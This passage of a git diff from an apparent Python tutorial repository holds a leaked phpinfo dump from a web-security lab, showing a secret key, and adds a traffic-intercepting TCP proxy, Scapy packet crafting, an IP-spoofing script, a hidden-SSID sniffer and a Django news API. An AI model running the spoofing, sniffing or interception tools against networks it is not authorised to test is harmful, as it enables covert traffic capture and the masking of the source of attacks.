+ + + + + + +
XSL enabled
libxslt Version 1.1.34
libxslt compiled against libxml Version 2.9.10
EXSLT enabled
libexslt Version 1.1.34
+

Zend OPcache

+ + + + + + + + + + + + + + + + + + + + +
Opcode Caching Up and Running
Optimization Enabled
SHM Cache Enabled
File Cache Disabled
Startup OK
Shared memory model mmap
Cache hits 0
Cache misses 1
Used memory 9168472
Free memory 125049256
Wasted memory 0
Interned Strings Used memory 224744
Interned Strings Free memory 6066264
Cached scripts 1
Cached keys 1
Max keys 16229
OOM restarts 0
Hash keys restarts 0
Manual restarts 0
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DirectiveLocal ValueMaster Value
opcache.blacklist_filenameno valueno value
opcache.consistency_checks00
opcache.dups_fixOffOff
opcache.enableOnOn
opcache.enable_cliOffOff
opcache.enable_file_overrideOffOff
opcache.error_logno valueno value
opcache.file_cacheno valueno value
opcache.file_cache_consistency_checks11
opcache.file_cache_only00
opcache.file_update_protection22
opcache.force_restart_timeout180180
opcache.huge_code_pagesOffOff
opcache.interned_strings_buffer88
opcache.lockfile_path/tmp/tmp
opcache.log_verbosity_level11
opcache.max_accelerated_files1000010000
opcache.max_file_size00
opcache.max_wasted_percentage55
opcache.memory_consumption128128
opcache.opt_debug_level00
opcache.optimization_level0x7FFEBFFF0x7FFEBFFF
opcache.preferred_memory_modelno valueno value
opcache.preloadno valueno value
opcache.preload_userno valueno value
opcache.protect_memory00
opcache.restrict_apino valueno value
opcache.revalidate_freq22
opcache.revalidate_pathOffOff
opcache.save_comments11
opcache.use_cwdOnOn
opcache.validate_permissionOffOff
opcache.validate_rootOffOff
opcache.validate_timestampsOnOn
+

zlib

+ + + + + + +
ZLib Supportenabled
Stream Wrapper compress.zlib://
Stream Filter zlib.inflate, zlib.deflate
Compiled Version 1.2.11
Linked Version 1.2.11
+ + + + + +
DirectiveLocal ValueMaster Value
zlib.output_compressionOffOff
zlib.output_compression_level-1-1
zlib.output_handlerno valueno value
+

Additional Modules

+ + +
Module Name
+

Environment

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
VariableValue
GATEWAY_INTERFACE CGI/1.1
SUDO_GID 10000
REMOTE_HOST 105.235.135.13
USER carlos
HTTP_ACCEPT_CHARSET *
SECRET_KEY qpv07o7eirlfsovg81p7ay7m9l8jaw8b
QUERY_STRING no value
HOME /home/carlos
HTTP_USER_AGENT Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
HTTP_ACCEPT */*
SCRIPT_FILENAME /home/carlos/cgi-bin/phpinfo.php
HTTP_HOST 0a8700550346ebd1804c946100f40010.web-security-academy.net
SUDO_UID 10000
LOGNAME carlos
SERVER_SOFTWARE PortSwiggerHttpServer/1.0
TERM unknown
PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
HTTP_ACCEPT_LANGUAGE en-US
HTTP_REFERER https://0a8700550346ebd1804c946100f40010.web-security-academy.net/cgi-bin/
SERVER_PROTOCOL HTTP/1.1
HTTP_ACCEPT_ENCODING identity
SUDO_COMMAND /usr/bin/sh -c /usr/bin/php-cgi
SHELL /bin/bash
REDIRECT_STATUS true
SUDO_USER academy
REQUEST_METHOD GET
PWD /home/carlos/cgi-bin
SERVER_PORT 443
SCRIPT_NAME /cgi-bin/phpinfo.php
SERVER_NAME 10.0.4.200
+

PHP Variables

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
VariableValue
$_SERVER['GATEWAY_INTERFACE']CGI/1.1
$_SERVER['SUDO_GID']10000
$_SERVER['REMOTE_HOST']105.235.135.13
$_SERVER['USER']carlos
$_SERVER['HTTP_ACCEPT_CHARSET']*
$_SERVER['SECRET_KEY']qpv07o7eirlfsovg81p7ay7m9l8jaw8b
$_SERVER['QUERY_STRING']no value
$_SERVER['HOME']/home/carlos
$_SERVER['HTTP_USER_AGENT']Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
$_SERVER['HTTP_ACCEPT']*/*
$_SERVER['SCRIPT_FILENAME']/home/carlos/cgi-bin/phpinfo.php
$_SERVER['HTTP_HOST']0a8700550346ebd1804c946100f40010.web-security-academy.net
$_SERVER['SUDO_UID']10000
$_SERVER['LOGNAME']carlos
$_SERVER['SERVER_SOFTWARE']PortSwiggerHttpServer/1.0
$_SERVER['TERM']unknown
$_SERVER['PATH']/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
$_SERVER['HTTP_ACCEPT_LANGUAGE']en-US
$_SERVER['HTTP_REFERER']https://0a8700550346ebd1804c946100f40010.web-security-academy.net/cgi-bin/
$_SERVER['SERVER_PROTOCOL']HTTP/1.1
$_SERVER['HTTP_ACCEPT_ENCODING']identity
$_SERVER['SUDO_COMMAND']/usr/bin/sh -c /usr/bin/php-cgi
$_SERVER['SHELL']/bin/bash
$_SERVER['REDIRECT_STATUS']true
$_SERVER['SUDO_USER']academy
$_SERVER['REQUEST_METHOD']GET
$_SERVER['PWD']/home/carlos/cgi-bin
$_SERVER['SERVER_PORT']443
$_SERVER['SCRIPT_NAME']/cgi-bin/phpinfo.php
$_SERVER['SERVER_NAME']10.0.4.200
$_SERVER['PHP_SELF']/cgi-bin/phpinfo.php
$_SERVER['REQUEST_TIME_FLOAT']1712744607.1831
$_SERVER['REQUEST_TIME']1712744607
+
+

PHP Credits

+ + + +
PHP Group
Thies C. Arntzen, Stig Bakken, Shane Caraveo, Andi Gutmans, Rasmus Lerdorf, Sam Ruby, Sascha Schumann, Zeev Suraski, Jim Winstead, Andrei Zmievski
+ + + +
Language Design & Concept
Andi Gutmans, Rasmus Lerdorf, Zeev Suraski, Marcus Boerger
+ + + + + + + + + + + + +
PHP Authors
ContributionAuthors
Zend Scripting Language Engine Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Marcus Boerger, Dmitry Stogov, Xinchen Hui, Nikita Popov
Extension Module API Andi Gutmans, Zeev Suraski, Andrei Zmievski
UNIX Build and Modularization Stig Bakken, Sascha Schumann, Jani Taskinen, Peter Kokot
Windows Support Shane Caraveo, Zeev Suraski, Wez Furlong, Pierre-Alain Joye, Anatol Belski, Kalle Sommer Nielsen
Server API (SAPI) Abstraction Layer Andi Gutmans, Shane Caraveo, Zeev Suraski
Streams Abstraction Layer Wez Furlong, Sara Golemon
PHP Data Objects Layer Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky
Output Handler Zeev Suraski, Thies C. Arntzen, Marcus Boerger, Michael Wallner
Consistent 64 bit support Anthony Ferrara, Anatol Belski
+ + + + + + + + + + +
SAPI Modules
ContributionAuthors
Apache 2.0 Handler Ian Holsman, Justin Erenkrantz (based on Apache 2.0 Filter code)
CGI / FastCGI Rasmus Lerdorf, Stig Bakken, Shane Caraveo, Dmitry Stogov
CLI Edin Kadribasic, Marcus Boerger, Johannes Schlueter, Moriyoshi Koizumi, Xinchen Hui
Embed Edin Kadribasic
FastCGI Process Manager Andrei Nigmatulin, dreamcat4, Antony Dovgal, Jerome Loyet
litespeed George Wang
phpdbg Felipe Pena, Joe Watkins, Bob Weinand
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Module Authors
ModuleAuthors
BC Math Andi Gutmans
Bzip2 Sterling Hughes
Calendar Shane Caraveo, Colin Viebrock, Hartmut Holzgraefe, Wez Furlong
COM and .Net Wez Furlong
ctype Hartmut Holzgraefe
cURL Sterling Hughes
Date/Time Support Derick Rethans
DB-LIB (MS SQL, Sybase) Wez Furlong, Frank M. Kromann, Adam Baratz
DBA Sascha Schumann, Marcus Boerger
DOM Christian Stocker, Rob Richards, Marcus Boerger
enchant Pierre-Alain Joye, Ilia Alshanetsky
EXIF Rasmus Lerdorf, Marcus Boerger
FFI Dmitry Stogov
fileinfo Ilia Alshanetsky, Pierre Alain Joye, Scott MacVicar, Derick Rethans, Anatol Belski
Firebird driver for PDO Ard Biesheuvel
FTP Stefan Esser, Andrew Skalski
GD imaging Rasmus Lerdorf, Stig Bakken, Jim Winstead, Jouni Ahto, Ilia Alshanetsky, Pierre-Alain Joye, Marcus Boerger
GetText Alex Plotnick
GNU GMP support Stanislav Malyshev
Iconv Rui Hirokawa, Stig Bakken, Moriyoshi Koizumi
IMAP Rex Logan, Mark Musone, Brian Wang, Kaj-Michael Lang, Antoni Pamies Olive, Rasmus Lerdorf, Andrew Skalski, Chuck Hagenbuch, Daniel R Kalowsky
Input Filter Rasmus Lerdorf, Derick Rethans, Pierre-Alain Joye, Ilia Alshanetsky
Internationalization Ed Batutis, Vladimir Iordanov, Dmitry Lakhtyuk, Stanislav Malyshev, Vadim Savchuk, Kirti Velankar
JSON Jakub Zelenka, Omar Kilani, Scott MacVicar
LDAP Amitay Isaacs, Eric Warnke, Rasmus Lerdorf, Gerrit Thomson, Stig Venaas
LIBXML Christian Stocker, Rob Richards, Marcus Boerger, Wez Furlong, Shane Caraveo
Multibyte String Functions Tsukada Takuya, Rui Hirokawa
MySQL driver for PDO George Schlossnagle, Wez Furlong, Ilia Alshanetsky, Johannes Schlueter
MySQLi Zak Greant, Georg Richter, Andrey Hristov, Ulf Wendel
MySQLnd Andrey Hristov, Ulf Wendel, Georg Richter, Johannes Schlüter
OCI8 Stig Bakken, Thies C. Arntzen, Andy Sautins, David Benson, Maxim Maletsky, Harald Radi, Antony Dovgal, Andi Gutmans, Wez Furlong, Christopher Jones, Oracle Corporation
ODBC driver for PDO Wez Furlong
ODBC Stig Bakken, Andreas Karajannis, Frank M. Kromann, Daniel R. Kalowsky
Opcache Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Dmitry Stogov, Xinchen Hui
OpenSSL Stig Venaas, Wez Furlong, Sascha Kettler, Scott MacVicar
Oracle (OCI) driver for PDO Wez Furlong
pcntl Jason Greene, Arnaud Le Blanc
Perl Compatible Regexps Andrei Zmievski
PHP Archive Gregory Beaver, Marcus Boerger
PHP Data Objects Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky
PHP hash Sara Golemon, Rasmus Lerdorf, Stefan Esser, Michael Wallner, Scott MacVicar
Posix Kristian Koehntopp
PostgreSQL driver for PDO Edin Kadribasic, Ilia Alshanetsky
PostgreSQL Jouni Ahto, Zeev Suraski, Yasuo Ohgaki, Chris Kings-Lynne
Pspell Vlad Krupin
Readline Thies C. Arntzen
Reflection Marcus Boerger, Timm Friebe, George Schlossnagle, Andrei Zmievski, Johannes Schlueter
Sessions Sascha Schumann, Andrei Zmievski
Shared Memory Operations Slava Poliakov, Ilia Alshanetsky
SimpleXML Sterling Hughes, Marcus Boerger, Rob Richards
SNMP Rasmus Lerdorf, Harrie Hazewinkel, Mike Jackson, Steven Lawrance, Johann Hanne, Boris Lytochkin
SOAP Brad Lafountain, Shane Caraveo, Dmitry Stogov
Sockets Chris Vandomelen, Sterling Hughes, Daniel Beulshausen, Jason Greene
Sodium Frank Denis
SPL Marcus Boerger, Etienne Kneuss
SQLite 3.x driver for PDO Wez Furlong
SQLite3 Scott MacVicar, Ilia Alshanetsky, Brad Dewar
System V Message based IPC Wez Furlong
System V Semaphores Tom May
System V Shared Memory Christian Cartus
tidy John Coggeshall, Ilia Alshanetsky
tokenizer Andrei Zmievski, Johannes Schlueter
XML Stig Bakken, Thies C. Arntzen, Sterling Hughes
XMLReader Rob Richards
xmlrpc Dan Libby
XMLWriter Rob Richards, Pierre-Alain Joye
XSL Christian Stocker, Rob Richards
Zip Pierre-Alain Joye, Remi Collet
Zlib Rasmus Lerdorf, Stefan Roehrich, Zeev Suraski, Jade Nicoletti, Michael Wallner
+ + + + + + +
PHP Documentation
Authors Mehdi Achour, Friedhelm Betz, Antony Dovgal, Nuno Lopes, Hannes Magnusson, Philip Olson, Georg Richter, Damien Seguy, Jakub Vrana, Adam Harvey
Editor Peter Cowburn
User Note Maintainers Daniel P. Brown, Thiago Henrique Pojda
Other Contributors Previously active authors, editors and other contributors are listed in the manual.
+ + + +
PHP Quality Assurance Team
Ilia Alshanetsky, Joerg Behrens, Antony Dovgal, Stefan Esser, Moriyoshi Koizumi, Magnus Maatta, Sebastian Nohn, Derick Rethans, Melvyn Sopacua, Pierre-Alain Joye, Dmitry Stogov, Felipe Pena, David Soria Parra, Stanislav Malyshev, Julien Pauli, Stephen Zarkos, Anatol Belski, Remi Collet, Ferenc Kovacs
+ + + + + + +
Websites and Infrastructure team
PHP Websites Team Rasmus Lerdorf, Hannes Magnusson, Philip Olson, Lukas Kahwe Smith, Pierre-Alain Joye, Kalle Sommer Nielsen, Peter Cowburn, Adam Harvey, Ferenc Kovacs, Levi Morrison
Event Maintainers Damien Seguy, Daniel P. Brown
Network Infrastructure Daniel P. Brown
Windows Infrastructure Alex Schoenmaker
+

PHP License

+ + +
+

+This program is free software; you can redistribute it and/or modify it under the terms of the PHP License as published by the PHP Group and included in the distribution in the file: LICENSE +

+

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +

+

If you did not receive a copy of the PHP license, or have any questions about PHP licensing, please contact license@php.net. +

+
+
\ No newline at end of file diff --git a/python-standard-library/grep-clone/requirements.txt b/python-standard-library/grep-clone/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/python-standard-library/grep-clone/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/python-standard-library/tcp-proxy/README.md b/python-standard-library/tcp-proxy/README.md new file mode 100644 index 00000000..f3dd655d --- /dev/null +++ b/python-standard-library/tcp-proxy/README.md @@ -0,0 +1 @@ +# [How to Build a TCP Proxy with Python](https://thepythoncode.com/article/building-a-tcp-proxy-with-python) \ No newline at end of file diff --git a/python-standard-library/tcp-proxy/tcp_proxy.py b/python-standard-library/tcp-proxy/tcp_proxy.py new file mode 100644 index 00000000..d27434ef --- /dev/null +++ b/python-standard-library/tcp-proxy/tcp_proxy.py @@ -0,0 +1,147 @@ +import sys +import socket +import threading +import time +from typing import Optional, Tuple, Dict + +class TcpProxy: + def __init__(self): + self._local_addr: str = "" + self._local_port: int = 0 + self._remote_addr: str = "" + self._remote_port: int = 0 + self._preload: bool = False + self._backlog: int = 5 + self._chunk_size: int = 16 + self._timeout: int = 5 + self._buffer_size: int = 4096 + self._termination_flags: Dict[bytes, bool] = { + b'220 ': True, + b'331 ': True, + b'230 ': True, + b'530 ': True + } + + def _process_data(self, stream: bytes) -> None: + #Transform data stream for analysis + for offset in range(0, len(stream), self._chunk_size): + block = stream[offset:offset + self._chunk_size] + + # Format block representation + bytes_view = ' '.join(f'{byte:02X}' for byte in block) + text_view = ''.join(chr(byte) if 32 <= byte <= 126 else '.' for byte in block) + + # Display formatted line + print(f"{offset:04X} {bytes_view:<{self._chunk_size * 3}} {text_view}") + + def _extract_stream(self, conn: socket.socket) -> bytes: + #Extract data stream from connection + accumulator = b'' + conn.settimeout(self._timeout) + + try: + while True: + fragment = conn.recv(self._buffer_size) + if not fragment: + break + + accumulator += fragment + + # Check for protocol markers + if accumulator.endswith(b'\r\n'): + for flag in self._termination_flags: + if flag in accumulator: + return accumulator + + except socket.timeout: + pass + + return accumulator + + def _monitor_stream(self, direction: str, stream: bytes) -> bytes: + # Monitor and decode stream content + try: + content = stream.decode('utf-8').strip() + marker = ">>>" if direction == "in" else "<<<" + print(f"{marker} {content}") + except UnicodeDecodeError: + print(f"{direction}: [binary content]") + + return stream + + def _bridge_connections(self, entry_point: socket.socket) -> None: + #Establish and maintain connection bridge + # Initialize exit point + exit_point = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + try: + exit_point.connect((self._remote_addr, self._remote_port)) + # Handle initial remote response + if self._preload: + remote_data = self._extract_stream(exit_point) + if remote_data: + self._process_data(remote_data) + processed = self._monitor_stream("out", remote_data) + entry_point.send(processed) + # Main interaction loop + while True: + # Process incoming traffic + entry_data = self._extract_stream(entry_point) + if entry_data: + print(f"\n[>] Captured {len(entry_data)} bytes incoming") + self._process_data(entry_data) + processed = self._monitor_stream("in", entry_data) + exit_point.send(processed) + # Process outgoing traffic + exit_data = self._extract_stream(exit_point) + if exit_data: + print(f"\n[<] Captured {len(exit_data)} bytes outgoing") + self._process_data(exit_data) + processed = self._monitor_stream("out", exit_data) + entry_point.send(processed) + # Prevent CPU saturation + if not (entry_data or exit_data): + time.sleep(0.1) + except Exception as e: + print(f"[!] Bridge error: {str(e)}") + finally: + print("[*] Closing bridge") + entry_point.close() + exit_point.close() + + def orchestrate(self) -> None: + # Orchestrate the proxy operation + # Validate input + if len(sys.argv[1:]) != 5: + print("Usage: script.py [local_addr] [local_port] [remote_addr] [remote_port] [preload]") + print("Example: script.py 127.0.0.1 8080 target.com 80 True") + sys.exit(1) + # Configure proxy parameters + self._local_addr = sys.argv[1] + self._local_port = int(sys.argv[2]) + self._remote_addr = sys.argv[3] + self._remote_port = int(sys.argv[4]) + self._preload = "true" in sys.argv[5].lower() + # Initialize listener + listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + try: + listener.bind((self._local_addr, self._local_port)) + except socket.error as e: + print(f"[!] Binding failed: {e}") + sys.exit(1) + listener.listen(self._backlog) + print(f"[*] Service active on {self._local_addr}:{self._local_port}") + # Main service loop + while True: + client, address = listener.accept() + print(f"[+] Connection from {address[0]}:{address[1]}") + bridge = threading.Thread( + target=self._bridge_connections, + args=(client,) + ) + bridge.daemon = True + bridge.start() + +if __name__ == "__main__": + bridge = TcpProxy() + bridge.orchestrate() \ No newline at end of file diff --git a/scapy/crafting-packets/README.md b/scapy/crafting-packets/README.md new file mode 100644 index 00000000..c57f5974 --- /dev/null +++ b/scapy/crafting-packets/README.md @@ -0,0 +1 @@ +# [Crafting Dummy Packets with Scapy Using Python](https://thepythoncode.com/article/crafting-packets-with-scapy-in-python) \ No newline at end of file diff --git a/scapy/crafting-packets/network_latency_measure.py b/scapy/crafting-packets/network_latency_measure.py new file mode 100644 index 00000000..e5b1b43c --- /dev/null +++ b/scapy/crafting-packets/network_latency_measure.py @@ -0,0 +1,21 @@ +server_ips = ["192.168.27.1", "192.168.17.129", "192.168.17.128"] + +from scapy.all import IP, ICMP, sr1 +import time + +def check_latency(ip): + packet = IP(dst=ip) / ICMP() + start_time = time.time() + response = sr1(packet, timeout=2, verbose=0) + end_time = time.time() + + if response: + latency = (end_time - start_time) * 1000 # Convert to milliseconds + print(f"[+] Latency to {ip}: {latency:.2f} ms") + else: + print(f"[-] No response from {ip} (possible packet loss)") + +for server_ip in server_ips: + check_latency(server_ip) + + diff --git a/scapy/crafting-packets/packet_craft.py b/scapy/crafting-packets/packet_craft.py new file mode 100644 index 00000000..7d0f3399 --- /dev/null +++ b/scapy/crafting-packets/packet_craft.py @@ -0,0 +1,34 @@ +# Uncomment them and run according to the tutorial +#from scapy.all import IP, TCP, send, UDP + +# # Step 1: Creating a simple IP packet +# packet = IP(dst="192.168.1.1") # Setting the destination IP +# packet = IP(dst="192.168.1.1") / TCP(dport=80, sport=12345, flags="S") +# print(packet.show()) # Display packet details +# send(packet) + + +############ +# from scapy.all import ICMP + +# # Creating an ICMP Echo request packet +# icmp_packet = IP(dst="192.168.1.1") / ICMP() +# send(icmp_packet) + + +############ +# from scapy.all import UDP + +# # Creating a UDP packet +# udp_packet = IP(dst="192.168.1.1") / UDP(dport=53, sport=12345) +# send(udp_packet) + + + +########### +# blocked_packet = IP(dst="192.168.1.1") / TCP(dport=80, flags="S") +# send(blocked_packet) + +# allowed_packet = IP(dst="192.168.1.1") / UDP(dport=53) +# send(allowed_packet) + diff --git a/scapy/crafting-packets/requirements.txt b/scapy/crafting-packets/requirements.txt new file mode 100644 index 00000000..93b351f4 --- /dev/null +++ b/scapy/crafting-packets/requirements.txt @@ -0,0 +1 @@ +scapy \ No newline at end of file diff --git a/scapy/ip-spoofer/README.md b/scapy/ip-spoofer/README.md new file mode 100644 index 00000000..7ff62c7d --- /dev/null +++ b/scapy/ip-spoofer/README.md @@ -0,0 +1,4 @@ +# [How to Perform IP Address Spoofing in Python](https://thepythoncode.com/article/make-an-ip-spoofer-in-python-using-scapy) +To run this: +- `pip install -r requirements.txt` +- `python ip_spoofer.py [target_ip]` \ No newline at end of file diff --git a/scapy/ip-spoofer/ip_spoofer.py b/scapy/ip-spoofer/ip_spoofer.py new file mode 100644 index 00000000..bcb8dc0c --- /dev/null +++ b/scapy/ip-spoofer/ip_spoofer.py @@ -0,0 +1,42 @@ +# Import the neccasary modules. +import sys +from scapy.all import sr, IP, ICMP +from faker import Faker +from colorama import Fore, init + +# Initialize colorama for colored console output. +init() +# Create a Faker object for generating fake data. +fake = Faker() + +# Function to generate a fake IPv4 address. +def generate_fake_ip(): + return fake.ipv4() + +# Function to craft and send an ICMP packet. +def craft_and_send_packet(source_ip, destination_ip): + # Craft an ICMP packet with the specified source and destination IP. + packet = IP(src=source_ip, dst=destination_ip) / ICMP() + # Send and receive the packet with a timeout. + answers, _ = sr(packet, verbose=0, timeout=5) + return answers + +# Function to display a summary of the sent and received packets. +def display_packet_summary(sent, received): + print(f"{Fore.GREEN}[+] Sent Packet: {sent.summary()}\n") + print(f"{Fore.MAGENTA}[+] Response: {received.summary()}") + +# Check if the correct number of command-line arguments is provided. +if len(sys.argv) != 2: + print(f"{Fore.RED}[-] Error! {Fore.GREEN} Please run as: {sys.argv[0]} ") + sys.exit(1) + +# Retrieve the destination IP from the command-line arguments. +destination_ip = sys.argv[1] +# Generate a fake source IP. +source_ip = generate_fake_ip() +# Craft and send the packet, and receive the response. +answers = craft_and_send_packet(source_ip, destination_ip) +# Display the packet summary for each sent and received pair. +for sent, received in answers: + display_packet_summary(sent, received) diff --git a/scapy/ip-spoofer/requirements.txt b/scapy/ip-spoofer/requirements.txt new file mode 100644 index 00000000..e9252b0c --- /dev/null +++ b/scapy/ip-spoofer/requirements.txt @@ -0,0 +1,3 @@ +scapy +faker +colorama \ No newline at end of file diff --git a/scapy/uncover-hidden-wifis/README.md b/scapy/uncover-hidden-wifis/README.md new file mode 100644 index 00000000..dcd094d6 --- /dev/null +++ b/scapy/uncover-hidden-wifis/README.md @@ -0,0 +1 @@ +# [How to See Hidden Wi-Fi Networks in Python](https://thepythoncode.com/article/uncovering-hidden-ssids-with-scapy-in-python) \ No newline at end of file diff --git a/scapy/uncover-hidden-wifis/requirements.txt b/scapy/uncover-hidden-wifis/requirements.txt new file mode 100644 index 00000000..9661693f --- /dev/null +++ b/scapy/uncover-hidden-wifis/requirements.txt @@ -0,0 +1,2 @@ +scapy +colorama \ No newline at end of file diff --git a/scapy/uncover-hidden-wifis/view_hidden_ssids.py b/scapy/uncover-hidden-wifis/view_hidden_ssids.py new file mode 100644 index 00000000..cd05db05 --- /dev/null +++ b/scapy/uncover-hidden-wifis/view_hidden_ssids.py @@ -0,0 +1,58 @@ +# Operating system functions. +import os +# Import all functions from scapy library. +from scapy.all import * +# Import Fore from colorama for colored console output, and init for colorama initialization. +from colorama import Fore, init +# Initialize colorama +init() + +# Set to store unique SSIDs. +seen_ssids = set() + + +# Function to set the wireless adapter to monitor mode. +def set_monitor_mode(interface): + # Bring the interface down. + os.system(f'ifconfig {interface} down') + # Set the mode to monitor. + os.system(f'iwconfig {interface} mode monitor') + # Bring the interface back up. + os.system(f'ifconfig {interface} up') + + +# Function to process Wi-Fi packets. +def process_wifi_packet(packet): + # Check if the packet is a Probe Request, Probe Response, or Association Request. + if packet.haslayer(Dot11ProbeReq) or packet.haslayer(Dot11ProbeResp) or packet.haslayer(Dot11AssoReq): + # Extract SSID and BSSID from the packet. + ssid = packet.info.decode('utf-8', errors='ignore') + bssid = packet.addr3 + + # Check if the SSID is not empty and not in the set of seen SSIDs, and if the BSSID is not the broadcast/multicast address. + if ssid and ssid not in seen_ssids and bssid.lower() != 'ff:ff:ff:ff:ff:ff': + # Add the SSID to the set. + seen_ssids.add(ssid) + # Print the identified SSID and BSSID in green. + print(f"{Fore.GREEN}[+] SSID: {ssid} ----> BSSID: {bssid}") + + +# Main function. +def main(): + # Define the wireless interface. + wireless_interface = 'wlan0' + + # Set the wireless adapter to monitor mode. + set_monitor_mode(wireless_interface) + + # Print a message indicating that sniffing is starting on the specified interface in magenta. + print(f"{Fore.MAGENTA}[+] Sniffing on interface: {wireless_interface}") + + # Start sniffing Wi-Fi packets on the specified interface, calling process_wifi_packet for each packet, and disabling packet storage + sniff(iface=wireless_interface, prn=process_wifi_packet, store=0) + + +# Check if the script is being run as the main program. +if __name__ == "__main__": + # Call the main function. + main() diff --git a/web-programming/news_project/README.md b/web-programming/news_project/README.md new file mode 100644 index 00000000..82c66b9b --- /dev/null +++ b/web-programming/news_project/README.md @@ -0,0 +1 @@ +# [How to Build a News Site API with Django Rest Framework in Python](https://www.thepythoncode.com/article/a-news-site-api-with-django-python) \ No newline at end of file diff --git a/web-programming/news_project/db.sqlite3 b/web-programming/news_project/db.sqlite3 new file mode 100644 index 00000000..33a4832e Binary files /dev/null and b/web-programming/news_project/db.sqlite3 differ diff --git a/web-programming/news_project/manage.py b/web-programming/news_project/manage.py new file mode 100644 index 00000000..10b64696 --- /dev/null +++ b/web-programming/news_project/manage.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +"""Django's command-line utility for administrative tasks.""" +import os +import sys + + +def main(): + """Run administrative tasks.""" + os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'news_project.settings') + try: + from django.core.management import execute_from_command_line + except ImportError as exc: + raise ImportError( + "Couldn't import Django. Are you sure it's installed and " + "available on your PYTHONPATH environment variable? Did you " + "forget to activate a virtual environment?" + ) from exc + execute_from_command_line(sys.argv) + + +if __name__ == '__main__': + main() diff --git a/web-programming/news_project/news_app/__init__.py b/web-programming/news_project/news_app/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/news_project/news_app/admin.py b/web-programming/news_project/news_app/admin.py new file mode 100644 index 00000000..312d626b --- /dev/null +++ b/web-programming/news_project/news_app/admin.py @@ -0,0 +1,5 @@ +from django.contrib import admin +from .models import * + +admin.site.register(Article) +admin.site.register(Journalist) diff --git a/web-programming/news_project/news_app/apps.py b/web-programming/news_project/news_app/apps.py new file mode 100644 index 00000000..8e5c603c --- /dev/null +++ b/web-programming/news_project/news_app/apps.py @@ -0,0 +1,6 @@ +from django.apps import AppConfig + + +class NewsAppConfig(AppConfig): + default_auto_field = 'django.db.models.BigAutoField' + name = 'news_app' diff --git a/web-programming/news_project/news_app/migrations/0001_initial.py b/web-programming/news_project/news_app/migrations/0001_initial.py new file mode 100644 index 00000000..90cf8f05 --- /dev/null +++ b/web-programming/news_project/news_app/migrations/0001_initial.py @@ -0,0 +1,36 @@ +# Generated by Django 4.1.3 on 2023-01-12 10:42 + +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + + initial = True + + dependencies = [ + ] + + operations = [ + migrations.CreateModel( + name='Journalist', + fields=[ + ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('first_name', models.CharField(max_length=60)), + ('last_name', models.CharField(max_length=60)), + ('bio', models.CharField(max_length=200)), + ], + ), + migrations.CreateModel( + name='Article', + fields=[ + ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('title', models.CharField(max_length=120)), + ('description', models.CharField(max_length=200)), + ('body', models.TextField()), + ('location', models.CharField(max_length=120)), + ('publication_date', models.DateField()), + ('author', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='articles', to='news_app.journalist')), + ], + ), + ] diff --git a/web-programming/news_project/news_app/migrations/0002_alter_article_publication_date.py b/web-programming/news_project/news_app/migrations/0002_alter_article_publication_date.py new file mode 100644 index 00000000..24962f60 --- /dev/null +++ b/web-programming/news_project/news_app/migrations/0002_alter_article_publication_date.py @@ -0,0 +1,18 @@ +# Generated by Django 4.1.3 on 2023-02-20 14:54 + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ('news_app', '0001_initial'), + ] + + operations = [ + migrations.AlterField( + model_name='article', + name='publication_date', + field=models.DateField(auto_now_add=True), + ), + ] diff --git a/web-programming/news_project/news_app/migrations/__init__.py b/web-programming/news_project/news_app/migrations/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/news_project/news_app/migrations/__pycache__/0001_initial.cpython-310.pyc b/web-programming/news_project/news_app/migrations/__pycache__/0001_initial.cpython-310.pyc new file mode 100644 index 00000000..6c2cd5fa Binary files /dev/null and b/web-programming/news_project/news_app/migrations/__pycache__/0001_initial.cpython-310.pyc differ diff --git a/web-programming/news_project/news_app/migrations/__pycache__/0002_alter_article_publication_date.cpython-310.pyc b/web-programming/news_project/news_app/migrations/__pycache__/0002_alter_article_publication_date.cpython-310.pyc new file mode 100644 index 00000000..ea271db7 Binary files /dev/null and b/web-programming/news_project/news_app/migrations/__pycache__/0002_alter_article_publication_date.cpython-310.pyc differ diff --git a/web-programming/news_project/news_app/migrations/__pycache__/__init__.cpython-310.pyc b/web-programming/news_project/news_app/migrations/__pycache__/__init__.cpython-310.pyc new file mode 100644 index 00000000..ead55c3b Binary files /dev/null and b/web-programming/news_project/news_app/migrations/__pycache__/__init__.cpython-310.pyc differ diff --git a/web-programming/news_project/news_app/models.py b/web-programming/news_project/news_app/models.py new file mode 100644 index 00000000..84d955e1 --- /dev/null +++ b/web-programming/news_project/news_app/models.py @@ -0,0 +1,22 @@ +from django.db import models + + +class Journalist(models.Model): + first_name = models.CharField(max_length=60) + last_name = 